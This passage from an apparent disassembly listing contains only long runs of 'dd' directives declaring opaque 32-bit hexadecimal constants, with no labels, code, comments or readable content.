462154D8h, 0E8E32DE9h dd 0D4C24613h, 0BA3989DFh, 8968774Bh, 152E4EDFh, 0AE02B060h dd 0F5820B3Eh, 3F698960h, 148CB3DDh, 0FAD87B0Ah, 37B963Eh dd 880FA9BEh, 81E42215h, 0D6838498h, 550E40F3h, 255C9168h dd 4D21967Fh, 0CBC42E5Dh, 24FE131Ch, 9985BFB1h, 0D968B6C0h dd 322BDA4Ah, 0F3612B3Ah, 0B91889AAh, 283C402h, 281E12F1h dd 0ABC0CD29h, 4E041A56h, 0A75BE91Fh, 4253F5BFh, 0F8D080A6h dd 553969Eh, 0FE697CCEh, 0C5D4B262h, 38E8A237h, 27A1269Eh dd 6F4E4656h, 2D4245D3h, 558529BDh, 0C521E834h, 6D540B22h dd 7A5F04F7h, 5EF14484h, 0F5D1A9D2h, 52E828E0h, 0DF20B23Ah dd 590E66A8h, 1D1FC304h, 0D1253B2Ch, 7E9571CCh, 13B1C30Ah dd 8003FA7Dh, 0B450ADF1h, 1FF4B151h, 0A11DE4E4h, 32A52CECh dd 0FFE9CEFEh, 0C7FF5409h, 31D1ADE3h, 906BA0BBh, 787709A2h dd 870B3D91h, 0B0261345h, 67CD8516h, 407DE13Fh, 0E3448D57h dd 0FD054805h, 583AA58h, 9D8EB9D8h, 0B6FA3F9h, 90DD55FFh dd 13AE68B7h, 0AE7A6D15h, 0D1075002h, 7275C109h, 8EC18301h dd 641BF196h, 84BA6A23h, 0D4C8A8F6h, 10DB001Ah, 0B3BE25CDh dd 4D8F2D08h, 0F7898482h, 41743C42h, 0AF3D1B21h, 550522Ah dd 9E72E368h, 92A05F77h, 5EC841Ch, 0C202B693h, 69DC7664h dd 0D7B9EF62h, 53681C98h, 0DD3B53h, 0CEB4D9B5h, 0B52EA3E9h dd 0C64AC914h, 0F7CC30EBh, 8C4968F9h, 8FE90B41h, 0A763F1F2h dd 0B1028445h, 0C4C82870h, 0C3BC71E5h, 0EB295B32h, 4EC859C2h dd 7D953433h, 6B20CE96h, 681DC26Ah, 0BE7922BBh, 5702EB20h dd 0CF45DABFh, 0CAD1C025h, 5EAD2D6Dh, 0D6407B6Ah, 6182693Eh dd 0FF10F5B4h, 61258724h, 5FE65DC3h, 4D9D6815h, 0F9F05E32h dd 698A2466h, 1D6B10C0h, 0CBFCF329h, 0DAAF6416h, 0FE9161Ah dd 0F9B6FBC0h, 32F07930h, 951267E1h, 65DA4A40h, 5632900h dd 22C87E9Eh, 3F6C3A35h, 0F8255180h, 0E93CEE46h, 4B49B449h dd 0F27EF7E8h, 2D2596FEh, 0FBD18554h, 800E2968h, 0C56BD7F5h dd 59E8A680h, 452C685Bh, 0D7E95004h, 9BABDB30h, 0C93B7E9Fh dd 40CF9AE9h, 0B6525EA7h, 0A90C946Eh, 9804F828h, 6E8B5967h dd 28FEB12Dh, 0DFD08A09h, 10063206h, 0CC884512h, 71F40100h dd 0B066DCF6h, 8A75ED0Ah, 7BB5F17Ah, 1857842Ch, 0E36A8D68h dd 0D682F018h, 0FCE10EFCh, 6445C966h, 0CB253370h, 825ADC59h dd 54515008h, 33946BCEh, 2902E9C2h, 0B41116F7h, 0BA22A71Ah dd 59016E18h, 0E83FD3F7h, 61EAA42Ch, 0F002AB61h, 0DF25E972h dd 0D0595E46h, 0D6C2BD2Bh, 81D78658h, 0F6D3888Dh, 0C3DAA3CBh dd 0C6FFD55Bh, 0FD67065Dh, 0FAE7EF20h, 7C670BD9h, 0E92D5E19h dd 0AAAE7D53h, 962574EBh, 9B30F52h, 5F0B970Eh, 32D2055h dd 162EDB3Bh, 0A3F22CE9h, 7E660BC5h, 0F8B75E2h, 9A5D624Ah dd 9E4561A6h, 17B11DFCh, 8B5D96E9h, 22164C3Ah, 7700B56Ch dd 42A258F4h, 53F49590h, 500F3F25h, 1AE9161Fh, 308ABBDDh dd 8EE95081h, 0DDF87AC1h, 0CC80EB81h, 303D21FAh, 84B08B54h dd 0CBBAF34Ah, 7F91291h, 4D508ED0h, 81391DA1h, 523046F5h dd 76179E62h, 8309C09Dh, 27027ED5h, 84FCDF14h, 0BB102760h dd 7AB82E38h, 5F1356Ah, 932C215Fh, 0EBF624F7h, 0DBF6031Bh dd 3726E104h, 1CF35B89h, 747585h, 55195FECh, 6C962978h dd 4B930820h, 9F10116h, 19868E2Eh, 0C35BA372h, 4804A82Bh dd 3F95FAEh, 169FED5Fh dd 0A2FCFD7Fh, 4706FA1h, 3CE2F302h, 8B898041h, 9732C008h dd 642DFEE0h, 2B920602h, 8905D029h, 89207107h, 147DE0D3h dd 2A56D4DEh, 0F66B896h, 0C0D0BA52h, 0EA816C8Ah, 54D43B30h dd 80B0E45Ah, 2A751990h, 6806AD0Bh, 2D3E8530h, 1168071Dh dd 7A5E1DFCh, 58A0E830h, 0A4D6C435h, 5A62FBCDh, 0AC747C89h dd 2D6C1033h, 25A55829h, 4E5FF605h, 72CB5965h, 8CDC282Ch dd 5E100166h, 0D87829EAh, 32BD0512h, 6FC945B8h, 258D1B6Dh dd 4A7A0A7Eh, 828DC4E0h, 0F968D3B3h, 9CA579D5h, 58E309F3h dd 4FE96C30h, 43F4434Bh, 75ADBAFFh, 0B3FB4B68h, 2AC441C1h dd 311788CFh, 30C8209Ah, 6748EA50h, 0ED50A8Fh, 243EFAA1h dd 3700135Dh, 0E9932D44h, 0EA9DD798h, 8A7E3CD1h, 4FC24795h dd 93A89618h, 0ED9C1C99h, 0CFFED060h, 0B9A25E9h, 6C64E4E9h dd 0DEC12603h, 89C5273Fh, 403C75FEh, 0BF82EE4Bh, 0C6297FBFh dd 6C02EB7Ah, 292DF81Fh, 0B92087Ch, 6DE83187h, 0B5C0B8DFh dd 17054AE5h, 213B816h, 3E1F302Dh, 6E57F531h, 4F72BD08h dd 72BD0990h, 8F88815Bh, 89B29F79h, 912593A2h, 0BB9C5F04h dd 25429F4Eh, 0E97070D6h, 61776036h, 0A42FD0C5h, 904B617Bh dd 0C8014AC0h, 7DF4122Dh, 93ED1CD1h, 0ABDABEB9h, 7310CF4Ch dd 7CF84AAEh, 54AB1517h, 725122Fh, 0D8494756h, 0E7D99536h dd 640EE9C2h, 0EBF20222h, 2D1ED2CCh, 0A0B1AE77h, 2105521Fh dd 0FED04801h, 24200845h, 0D7352FE9h, 0E540A791h, 0A9D22B1Fh dd 0B977F14h, 5B6AD83Fh, 13E675BEh, 133EF968h, 7DF0B5E9h dd 9C7B5C2Ch, 315E244Ch, 0EE6858B3h, 71C29BF4h, 80FF0984h dd 0D22B3E3h, 510BBD5Ch, 3A3BE27Ch, 0ED7515F9h, 3C0B4C83h dd 1201354h, 84008A8h, 0A22C4F8Bh, 407A9ACAh, 2C2254CEh dd 3CD3351h, 31A801E2h, 835FFEF8h, 0E92FFCB8h, 5DA3E2FBh dd 5BA539FBh, 0B055A75Eh, 9F64AE1Dh, 24A02E4Eh, 342D2BA2h dd 0ED37E170h, 0D58E0845h, 47E95604h, 3350084h, 5A22A57Ah dd 803BED89h, 11EACE81h, 6876AFh, 74479EE6h, 0CB9DE918h dd 0A15384CFh, 3F406E85h, 56786B21h, 0CD8FF44Eh, 0B241A139h dd 0DF399009h, 0CF60F262h, 1D764AFAh, 69F2B0A1h, 2D5F0168h dd 1A3A6487h, 0C4421861h, 839979BCh, 1E7A41CBh, 5A964EFh dd 0F3523668h, 17B9808h, 783F31BBh, 85647864h, 0B000558h dd 7AEB815Eh, 37E32770h, 880C05Ah, 0D76611E9h, 0C2ACB95h dd 27807E9Dh, 542F520Ch, 7F52EA3Bh, 44E52C51h, 0BD02C8FCh dd 64BEA893h, 164A9084h, 35B1F6F8h, 0D6F70165h, 2E30D671h dd 4BD0261Fh, 11CC0553h, 1B02EAA2h, 7FF88340h, 0D9B3580Eh dd 143AED3Ah, 0E9C207B8h, 0CFD99904h, 4E16EC43h, 8F8BE891h dd 63A68551h, 55A53CEFh, 27D071B5h, 2E983F78h, 0A850FF05h dd 0F501455Fh, 3AE73CD3h, 23140E00h, 8018796Eh, 315291E9h dd 38D898EBh, 9570AED0h, 96E796FFh, 3FEA098Dh, 98C79EF5h dd 9D552732h, 1B889BF9h, 0AC762F40h, 7084425h, 0B551FFC6h dd 7AE56013h, 0FC3BB450h, 0F466228h, 5D987547h, 0C93E6D67h dd 0D8E5A506h, 0A1EDB7DFh, 0D5FCC48Bh, 39F55EE4h, 62D58496h dd 48D2F706h, 0C768840Ch, 2EA1188h, 63CAB57Dh, 9C70D189h dd 452016F0h, 2680385Fh, 17E24A26h, 0A1D7B8A9h, 0F73F8D1Bh dd 51207B09h, 0F1311D20h, 4560E55Eh, 2AE44E5Dh, 7170897h dd 6276E90Bh, 0D6F9FF9Ah, 18F5788h, 1AD982BBh, 0C5B13E0Ah dd 0BF5EF3CCh, 0F62FF55Bh, 0E781002Dh, 408C1A97h, 8BCC0997h dd 51B784Dh, 241594BEh, 69B6807Fh, 58B51904h, 906F4AE7h dd 0E13A9DE0h, 992D747Bh, 5B554621h, 0BAC58579h, 8BFEAFD5h dd 20BA4E3Dh, 69F0E9F9h, 6CE22CA0h, 0F6594030h, 5BE053E8h dd 7535BC0Dh, 0E3F42541h, 0BE143CF3h, 31DA84Fh, 175BD6CBh dd 0DFD0F722h, 9FC2E1ABh, 94806A0Bh, 3DB65009h, 2B4EE97Bh dd 0CBF81461h, 515B223Eh, 21D8EB80h, 60B97CCCh, 1EB25F12h dd 1278D910h, 24BE885Ah, 2B90F144h, 5CC23DB3h, 83FDD830h dd 8457DE6Eh, 0D06BF6FFh, 13F0424Fh, 0FE36E07h, 0B47AAE1Ah dd 9CDB6357h, 41E02CB0h, 0E28880BCh, 51326743h, 3680050h dd 58413E65h, 5B9DC201h, 6DB43034h, 0B5C3C23h, 8E730E27h dd 4C2328Ch, 38CD640h, 3C2D06E0h, 2B69F1A9h, 5CD122AAh dd 3D782DC1h, 0E7683F8h, 64BAE8DDh, 0E810058Eh, 0AC5EF229h dd 4AC79C86h, 63A6E957h, 5AD195B6h, 85C8DD6Bh, 1806108h dd 0DB04BDE8h, 0BB61FB53h, 228060F7h, 30F56856h, 0E2F67755h dd 6FAC57E7h, 0E334EFF3h, 88B7D956h, 0A4ABE9C2h, 0D4E18100h dd 53CC3B2Bh, 98CC903h, 0C09075Dh, 0F5238Fh, 0FB9F1ABh dd 555432B2h, 0BC549DB6h, 0C702F6F0h, 7515C617h, 5EA2AD80h dd 0A43853E1h, 0B86B2A7h, 0F38172DEh, 0D4C54798h, 5620E03Fh dd 43247B5Fh, 0B475BCBEh, 0E981A0FBh, 71A88B2Fh, 37EE0B7Eh dd 0FD62075Ch, 87375CE2h, 0A495CA45h, 5015B127h, 49D6350Fh dd 77052825h, 0A0464868h, 0C4BFDBFEh, 1B538C0h, 5966EA0Fh dd 0D178E46Bh, 0DBA85C9Fh, 3C36A5Eh, 11D6B154h, 9CE22274h dd 0E3DD6935h, 0BAF9541h, 0E80BCAF8h, 0F62D7F74h, 0BDEEA0Dh dd 265AD04Dh, 6B60AB31h, 0B0534DAh, 0B678C5A2h, 0DF170B97h dd 0D49DD49Eh, 6866C0C7h, 779E7858h, 1DB65281h, 0E02A35B5h dd 0B44BE982h, 5C51C8EEh, 2F55C7BDh, 1B5951DEh, 77587C34h dd 26BFF48h, 8FF48033h, 0AE9D9F43h, 0E90C119Bh, 0EE33FBD7h dd 5B1F7B48h, 0D9FB7B17h, 81832EA7h, 30AEE483h, 9512F67Ah dd 0CCFC7AFAh, 2C6A8397h, 0C53EB90Fh, 0AB922C78h, 2A682FB4h dd 20AD06FAh, 709F9342h, 0AEDA4B76h, 780E955Bh, 3360FB16h dd 63509598h, 7A477097h, 0FF129DBBh, 5667F940h, 517BB300h dd 0EEDDF5B9h, 0E91EC4F2h, 0CF52FE3Ah, 451638ACh, 5E913442h dd 6AF3CBE0h, 2018C45Dh, 5F5D5EE0h, 1E620755h, 0B6D27CBEh dd 6263D692h, 0EE208F40h, 0B8BB15ACh, 0F1442A44h, 6DC53CABh dd 0E18D9F15h, 3863F203h, 0C042C6Ah, 64890A8Bh, 437B4000h dd 0D29F2177h, 6AE009BBh, 0E40012A1h, 9DA7D1ECh, 0BAA2EFFh dd 65575128h, 0CEE9C2EDh, 800E045Ch, 0A30337E6h, 4DF58898h dd 0D10A1EFAh, 5A057E0h, 817C7279h, 3041D99Fh, 0F612355Ah dd 0B8E0B68Fh, 33F84B09h, 35A0255Ah, 5E44148h, 0F7CA820Dh dd 3AF8C0BEh, 63E297A0h, 563BA458h, 88B89351h, 31E21327h dd 8DF9F59Dh, 0E1AFCA29h, 1B7056D5h, 8E209D27h, 5EBF2FFAh dd 27009BFh, 0DF9CA8A4h, 0DF2F2745h, 7092759Eh, 61077997h dd 2A58F868h, 55E0DFCDh, 0BC535F38h, 56BB5ACFh, 6FCEAEFEh dd 6BE95306h, 0B9020C7Dh, 3AAB60BFh, 1E464031h, 0C392B52Eh dd 74013940h, 0FE8B8194h, 0FEAA6610h, 0C804B5A4h, 321C151h dd 7E8F7961h, 4E383B25h, 0E941FD29h, 0FC05867Dh, 3F600406h dd 50AA5457h, 1C610815h, 410E5D6Dh, 16F94C9h, 0A36A5958h dd 0CCFED28Fh, 0DB38683Dh, 0C8AC5F20h, 42D8ABD6h, 0CA569F5Bh dd 7045F813h, 4AA9FB6h, 0BFEE9C2Eh, 0FAE552ACh, 44FE8E57h dd 0B545EA06h, 726BDCAAh, 689D1897h, 27764A94h, 0B91887FBh dd 5F443E71h, 3E0368C0h, 684F58D1h, 0EBB3844Ah, 0E36B372Dh dd 1BF2D87h, 33C78077h, 0BB08BEE0h, 67923C67h, 0C2E2BA8Ch dd 0FF5192DFh, 0B245022Ch, 1E4597ADh, 5CBF802Ah, 1FA9DB96h dd 43169271h, 9C4CF0ACh dd 0E7985020h, 3C22BB13h, 84DEA709h, 0B7035CF1h, 0BFBDF60Dh dd 50CF51C1h, 0F6BEFCDh, 0C26BDAA8h, 0D041827Fh, 0E36340E2h dd 599A835Ah, 482C8577h, 0F28058D1h, 1C3D8D41h, 27BE6354h dd 0B193D559h, 71E42B30h, 7FBF4257h, 7776A727h, 6CE1D610h dd 0FBB592A8h, 794A9A98h, 0BB0CA281h, 9E5FC730h, 852D9D2Eh dd 0C278F94Dh, 66049067h, 499F07B9h, 682BEFB7h, 548EC67Fh dd 4FB443BBh, 0B2A24439h, 0BB64BF8Ah, 85651DC3h, 5EB7DEFBh dd 0C72C3EECh, 7F68898Bh, 0BD60EC54h, 5FDC1683h, 6E52EB0Dh dd 9B90030Ah, 0F1F03062h, 160EACD0h, 85C70EB0h, 0A0F2C36Fh dd 6EEBEBFAh, 1F3D060Eh, 7F7C9628h, 0F6C0E502h, 0F797E9DDh dd 0ECA84B71h, 577E422Fh, 8CFC0016h, 0B9449F5Bh, 0E912A22Fh dd 3FF1046Bh, 5B8118A8h, 48F17925h, 18AF4720h, 0C1C6B2Bh dd 772C399Ch, 640F1152h, 800C6F69h, 0FA3DABC9h, 8524C060h dd 296D2070h, 1A59CA2Dh, 9A31844Ah, 0F205FDD5h, 0F3EBBC7Fh dd 0F70969FFh, 1E6AFE2Bh, 9C0EEB7Dh, 0A2B50CECh, 4A0192EEh dd 56F07233h, 2ED8030h, 0E94BAF45h, 42544A21h, 575AE5C2h dd 20B4459h, 0EBE2C803h, 0F7799F3Fh, 16645F08h, 0BA5B5656h dd 0FC9B2806h, 0F3DA9F40h, 0F0EACFEFh, 0C124B8C1h, 84EC45FEh dd 0E9FB2870h, 3CE78134h, 47601CFAh, 0C26BF344h, 717D5C17h dd 7125C361h, 32FFC31Eh, 985A850Bh, 1668BA4Eh, 0F779947h dd 4B249A7Eh, 0F794AF02h, 98E90805h, 0C76B49EBh, 5E8CC07Dh dd 7FF4C856h, 11704428h, 0B450D30Fh, 0F2F404E3h, 0BF6D12AEh dd 27687BB4h, 0F29E7DCBh, 0FD537F96h, 4BFFCFABh, 276B9CBAh dd 9A01CB4Ch, 81DD27B2h, 3F2991B0h, 0B6E09D34h, 0E25AE8BAh dd 7B0443B9h, 0A601E52h, 3C28072Dh, 0B8400097h, 5A7830CAh dd 4F6DBC15h, 662F4FA8h, 0F1801B01h, 0A2052E7Bh, 0AD82ECD0h dd 5F584A6Eh, 0CDA4A6D3h, 0D4B97C42h, 3DEE815Eh, 404F45F3h dd 80367FB9h, 11BA964Eh, 0BC0490AAh, 0A088F19h, 0F92707EAh dd 78290C6Eh, 7AFF2150h, 2D59BBA4h, 0FC7C22A1h, 909F587Ah dd 25151CB9h, 13B6E429h, 0EA31BBEFh, 0FDE8525Bh, 4B22B93Fh dd 28008845h, 2C5A66D7h, 2F8EC94h, 0C06AB353h, 486102EBh dd 2435309Bh, 2F3A644h, 88D6CDE5h, 0C480DA89h, 128C56C2h dd 50D0012Ch, 0DD0C7100h, 0ECE812Ch, 16EB3BB5h, 471CE6C1h dd 0D17B2178h, 0C05B0FDAh, 21B41AA9h, 15F2E915h, 0B7CC9661h dd 17D25A31h, 0C1ADE2A5h, 3085624Dh, 288A2420h, 24E60C03h dd 16E608E3h, 3EAAC905h, 9A3EE4E1h, 44604855h, 0F70905FCh dd 8FB15875h, 708689A6h, 68AD09F8h, 2E460B7Eh, 0AF6A7D01h dd 6C59E943h, 0B65F377Ah, 0C505D90Eh, 8D805D8Bh, 6FC3A1AEh dd 5A210086h, 2DB5BD2Dh, 0BFC25E05h, 590EBCA7h, 0AA58D2BFh dd 2201B075h, 11A13C51h, 3839B17Eh, 49E90829h, 98680735h dd 0C5F70B77h, 4C55A5F7h, 90D89FA0h, 0E6ADE95Bh, 1708FE5Ah dd 4313599h, 0B2B5541h, 0E94ADD50h, 0B6136A7Ch, 0CB55DF0h dd 0A8CD807Ah, 0FE765E06h, 21B62BFEh, 0F364227h, 2263C089h dd 95EE8943h, 0B6A23EFFh, 6E745A4Ah, 0A558E90Bh, 0C0FB5AEEh dd 0D130056Fh, 0FDC0E1EDh, 3F84C903h, 0B3EFD412h, 0A3ACD245h dd 0CEE950A0h, 25BE76B5h, 4620A358h, 4B51604Eh, 20514D4h dd 0ED515D78h, 7CBE2E07h, 7C5D3AC3h, 42331036h, 1E3C4EDFh dd 889FE12h, 7626B028h, 48BD8397h, 0A4BFED5Ah, 3099F10Ch dd 6658F445h, 7002C946h, 0AA284E67h, 9343F24Eh, 0DB852DFAh dd 16DCF5F3h, 6CBD09AAh, 3FF84F58h, 310A5762h, 9FB2F5FEh dd 834736A6h, 0D30231B0h, 2118CE0Eh, 8C87FFCDh, 0C1AA450Ch dd 1D14F0Ch, 3A3078B3h, 4A22F407h, 12A3A6D4h, 0A0368E97h dd 0BDF49FBCh, 45C9261Fh, 4C6C205Ch, 0B63F847Ch, 9D2550ADh dd 0FC417425h, 44D5005Bh, 0EAD1698Ch, 4EF28702h, 0D16506E9h dd 5F138B80h, 0DDB63A9Eh, 0D5E5790Ah, 0DF506AA7h, 7B579ECAh dd 2546239Ah, 0C8666EF7h, 2D1756E2h, 8B3197EDh, 57097489h dd 4FFE823Eh, 752F07F1h, 0D3063A99h, 3AAE8B10h, 6587B50h dd 0FE2CCA80h, 0F2EE04C2h, 1F28D224h, 13F1508h, 2564092Dh dd 0B1FC3E72h, 97763725h, 2EEF373h, 58DDB867h, 5C411E9Fh dd 82D16AA0h, 5BE55502h, 0A27B122Ah, 0DBD2DF6Ch, 5A5C0E81h dd 2637B67Eh, 0F78BA97Bh, 918ED5DFh, 0E56A45B7h, 0FF80166Ah dd 5EF526C0h, 0BD924968h, 0E90F614Eh, 5EF76C31h, 1E1F47BBh dd 6F3AF718h, 6FC78E20h, 0CF5C315Fh, 3AF92539h, 0C09C42A4h dd 0C4A77618h, 0C406EDDBh, 587DF084h, 0D9245D7Fh, 5B654DC2h dd 702CF72Ch, 66D0077Ah, 4C1F2368h, 19D2B2EBh, 964CE2ABh dd 63204089h, 12AD693h, 3016C1D4h, 0C2C7ACFh, 8AE04B2Ah dd 56DA5038h, 252B0C58h, 85986279h, 0C1934DD0h, 56D3D789h dd 0EE465B1Ah, 5FB89D68h, 0FDF53114h, 5F2C017Fh, 0E9042620h dd 25706BC9h, 58E970DFh, 0B3A7DE1Fh, 3600B268h, 0C3602FB8h dd 4FC7316Dh, 47B5E058h, 0DF02F9A2h, 0DF5A7C3Fh, 5EBB492Dh dd 6855A86h, 5E91E29Ch, 58A692D8h, 71814806h, 6F2D6313h dd 0B5F15A35h, 4C0D47Bh, 0C6348Ah, 0BA55E2BDh, 57524C21h dd 1168C005h, 82FE0812h, 0DDF58001h, 9857EB28h, 68ADCDD2h dd 88197007h, 499DF5DAh, 26725E4Bh, 32886809h, 71626B5Eh dd 68A65648h, 58581470h, 0FCC6E982h, 6BAF597Fh, 5AEDECDFh dd 47313DDh, 2351F06h, 65EDD14Dh, 4CBA9F67h, 9E620927h dd 9B95D40h, 34D0478Bh, 6215D77Eh, 51CE02E5h, 80739906h dd 0C04B6BC4h, 5E0CC142h, 7A5C6550h, 0B19B3F02h, 0B5E6E0A4h dd 121A252Bh, 8A04376h, 0EF806F92h, 70837718h, 9DAA60ACh dd 33EF80E7h, 7EB6521Fh, 539EF649h, 90ADBD14h, 0BB92D789h dd 0CB8482C4h, 4BBD9820h, 2C4FC29h, 27253BC1h, 6572F74Bh dd 28E211D6h, 0E9029C92h, 0F289CA98h, 1A306F5Fh, 5C5A5952h dd 0AA21EC92h, 487B7302h, 4F16E34Ch, 2198D22Fh, 0EF4FCCD4h dd 0B5407075h, 0BAAD4ADEh, 0AC4B038Fh, 5E19010Bh, 32E96BC4h dd 95B90824h, 939032F2h, 7A53E309h, 2FA5D64h, 7213F19Fh dd 687968DDh, 32314F44h, 0E9220187h, 0BFD578D2h, 8739B776h dd 613B04A0h, 2C56F366h, 12C94033h, 44F3EF9Ah, 60234C80h dd 6A85111h, 33C28EE9h, 467E6E68h, 0BDB07887h, 0C4E9DEE0h dd 0D6A0419Ah, 0F995E110h, 0C921C440h, 8E12A6F8h, 39A1E904h dd 6708DCFBh, 0F00E24EBh, 0D8DBB0B5h, 6C7E95C9h, 0C60BD258h dd 2452BF0Bh, 0C93EFE97h, 50A7A077h, 28486856h, 2AF3E527h dd 986B86F0h, 0B27340D0h, 71C0CEC4h, 542B89BEh, 4851A846h dd 76094FFFh, 9BE6575Dh, 8740B2B0h, 58192D68h, 5AC58994h dd 0AC446D78h, 54326AB3h, 306AB079h, 8E670B01h, 7E305620h dd 842B17CFh, 0ABD0BF07h, 0E5E04A72h, 879C8DBh, 0D14D5947h dd 77E10F78h, 0C7C05240h, 286FF3Ah, 1290D7B2h, 0E151380Bh dd 0D656042Bh, 3E560412h, 815D007Fh, 5CA004F2h, 0D62A7A9Bh dd 7DE910EEh, 545C1744h, 3BE1BCECh, 51B87FAEh, 49BD55B0h dd 16511913h, 242E02EEh, 0DB001DECh, 121FFD3Dh, 0FA5DEE01h dd 5DE91798h, 0BA2F6AA9h, 22D0A52Bh, 6EF43F31h, 50307EB5h dd 0D6F60D6Eh, 3008CEFEh, 5782B2B4h, 1D5175C0h, 6DFC0876h dd 90E4C205h, 0CE04F789h, 0F16E013h, 7209082Dh, 0B1D905A9h dd 4B5C6804h, 0E916C4F9h dd 6056A140h, 799FEE7Fh, 655FEBBFh, 8B45CAC0h, 7E94830Ch dd 6959517Ch, 4C0B4B53h, 947EDE89h, 7407F503h, 6E01CF7Eh dd 0F94E6461h, 68032065h, 9846B92Dh, 0E0919792h, 0BB295F9Ah dd 512A253h, 12098AEAh, 5BF9577Eh, 0AF1E7DBh, 0D9032566h dd 0DB0975A3h, 0C087242Ch, 5693CD26h, 3CB647ADh, 1ABD9B7Ah dd 38D955BBh, 928EF16Bh, 3A85BA68h, 69A0D516h, 215B38BEh dd 4B724125h, 749950E0h, 5A5291ADh, 9F5E7E60h, 0C1473C1Ah dd 672157ADh, 235B7C68h, 895C49D7h, 9E950A2h, 51A684Eh dd 0FEF0DBC6h, 0F47EE027h, 97E91D86h, 0C1C22952h, 2F376E8h dd 807CB551h, 986E63EBh, 0C04341E9h, 4B8CF237h, 27904409h dd 0A056DA97h, 0D7BFD27h, 0D501739Ah, 0E908001Ch, 68B5B491h dd 0EC3C35DAh, 68B027h, 77080778h, 4C187F2Dh, 0D8F71900h dd 96105925h, 0F3350061h, 2D4F7869h, 0AF28776Dh, 6609E729h dd 7EF16239h, 0F758623Dh, 13687A0Ch, 0F51DAE0Dh, 210805A8h dd 50B76CE3h, 0DFF7FEF8h, 9E5208CCh, 4ED8E6BBh, 2480BC64h dd 8A09DE31h, 0D418F575h, 113F5BFh, 7E0E1BB0h, 4519C353h dd 0A90E0F47h, 53DFAD9Ch, 7352FFC2h, 809C0BEBh, 8B16ED7Ch dd 0B600D8EAh, 0F67D187Fh, 0F995F0E0h, 10A048DDh, 47FC5AC0h dd 0D0F6F372h, 29998BEh, 189E7290h, 6D41D1F7h, 0DC0AA401h dd 27098F1Ch, 0BB705561h, 0C08108CEh, 643BED62h, 0D940B721h dd 4EC3D277h, 302E8C0h, 0D0860606h, 812DAF6h, 0E5EE652Ch dd 0B016883h, 307D1368h, 2DE9F7CBh, 0FEA07912h, 9B5028C5h dd 6C011B3Bh, 0B32CCCF3h, 0D05627FEh, 49320581h, 106B72BAh dd 593B07A2h, 0DD45E401h, 2530FF69h, 7C9F6F54h, 2D433E10h dd 0BCC738Fh, 24C8207Dh, 253D3713h, 26F8930Bh, 0F016A7B3h dd 939BB915h, 0CD1F61FAh, 39EA3A59h, 6AF96033h, 5042009Ch dd 63156051h, 2930E18Eh, 6C8614F1h, 1416E4EDh, 797DB35Dh dd 62D0D05Eh, 25EC48EFh, 0F9F8F914h, 52C07E9Dh, 55468E74h dd 0CC385B66h, 265DA9BBh, 0F68D8B31h, 59CA8BDEh, 0E99993DDh dd 2D6867B8h, 0B8E241C9h, 0C1C851D7h, 639A65E9h, 5355121Eh dd 0F05A988Ah, 0B15B0EE2h, 22F839EFh, 63948B9h, 0EFCD8094h dd 0F6FE2034h, 44EAE09Dh, 9840620Bh, 3103F472h, 8C0DB9F0h dd 4E35E26Ah, 1F3049E1h, 0CA81000Bh, 423108BFh, 0BB24E957h dd 5067BF97h, 0EB909494h, 257309BAh, 38486D43h, 4D091721h dd 51542958h, 740CA04Ch, 0CE699DE9h, 15A23F3Ch, 3F5D7BA1h dd 0BC9224BDh, 4DA61982h, 162AF7CFh, 58C6A903h, 0DEA55AB4h dd 1806FF16h, 57169268h, 0C96D10Bh, 0D26EE882h, 929F6367h dd 6FA077D0h, 787E1E97h, 0AA0554EAh, 0CEE9B393h, 48018D4h dd 0F78CEE10h, 123DBE60h, 0BB504572h, 2F08A350h, 0EAB1F75Ah dd 0ACC254CAh, 22B05B59h, 23DE2E41h, 7D930269h, 0BA8D327Fh dd 5FC00129h, 80BB045Eh, 8DEE8021h, 94B05028h, 20E9D81Dh dd 0A9477B27h, 0CDFD2532h, 4E65AF73h, 98D8298Ch, 0C4C04E4h dd 0FC28E917h, 20FA5A17h, 8FBB53BEh, 13C7C16h, 0DE5B3BC8h dd 0C1985A6Fh, 0FB7A7044h, 0ECD955FBh, 0E188C502h, 680A0FE3h dd 8CD34CF0h, 0F5A71A0Ch, 52459903h, 0E9E82921h, 0A23A16FAh dd 0ED584A1h, 218BE18h, 0AD23DC3Dh, 0D5A56921h, 9D955BDCh dd 0D0080A45h, 0BDC11D6Dh, 8BF109FEh, 62754D2Ah, 4BF359AFh dd 8B3D2276h, 8476E166h, 0B9013CB5h, 0CD1CF1FCh, 2A753131h dd 0E86E44F1h, 2CFAB47Ch, 0C2BFB279h, 0D2FB771Eh, 4116E625h dd 2C42ED29h, 68BF4B7Ah, 3A4E6984h, 924CBDh, 0BE61AEC7h dd 0A826E971h, 7EC2731Bh, 97625645h, 6F5DAA03h, 68665942h dd 0E7E4FF4Ah, 0C17FE917h, 5604BDEDh, 8475E813h, 8C01081h dd 0CB4CA04Ah, 6D45429Fh, 0BFE90B3Dh, 0A7D80362h, 0A1A69685h dd 7C806805h, 77B6C230h, 0E4CE7BFEh, 357095EAh, 0F1E9EF12h dd 0B847585Eh, 0F7D50990h, 4A036CF8h, 6889E97Dh, 0E1F6B903h dd 2F9392B8h, 43725EA8h, 8243593Ah, 0E4E95674h, 63CED539h dd 0DD588127h, 6E687890h, 503C5F12h, 0E0010CBBh, 5317C261h dd 0E406B56Bh, 0BC164B4Eh, 5455C11Fh, 9EEC2F5Dh, 0AEC085E5h dd 1CAEF357h, 41CF13A4h, 0FE2FB120h, 0E1C7E8C9h, 0B00554B5h dd 3F1A4576h, 5ABA4179h, 0C040883h, 32AC16BFh, 40F004B4h dd 1E9F5920h, 5F681C91h, 9CDF2D06h, 8D952F01h, 898AB753h dd 0CB0BA8F1h, 58FD5E59h, 14BF651Bh, 9FA9DEDh, 0EC9C402Dh dd 4DCA2FF1h, 5508847Bh, 0A0E942BDh, 0BB01B674h, 64B85905h dd 6F991D70h, 6A8B2129h, 8680DCF1h, 8005EFC0h, 0EC2D73F7h dd 0FE2805B8h, 499E60E9h, 0DFABCEA7h, 0ABA7B965h, 0D7A28B3Dh dd 682F761Ch, 0D99A55F4h, 0E92FA87Ah, 681E016Fh, 3A2C0893h dd 9C3DD8C2h, 0A9DFB3C2h, 45C6DBE0h, 0B3970956h, 7FB90858h dd 0CD80C62h, 0C10EC6BEh, 0C0183251h, 0F26A44E6h, 597B027h dd 0D382FE2Bh, 0D0811F29h, 0C1380BD5h, 0FECA579Ch, 0DB87E0D5h dd 2318B387h, 3720BBC4h, 50F8B201h, 0E228DBB4h, 0B535BA20h dd 60BECDA0h, 759023B2h, 8457F601h, 9F61E97Ah, 3B9E0168h dd 0AF75855Fh, 5CA018B2h, 0BFE45766h, 4B481A3Bh, 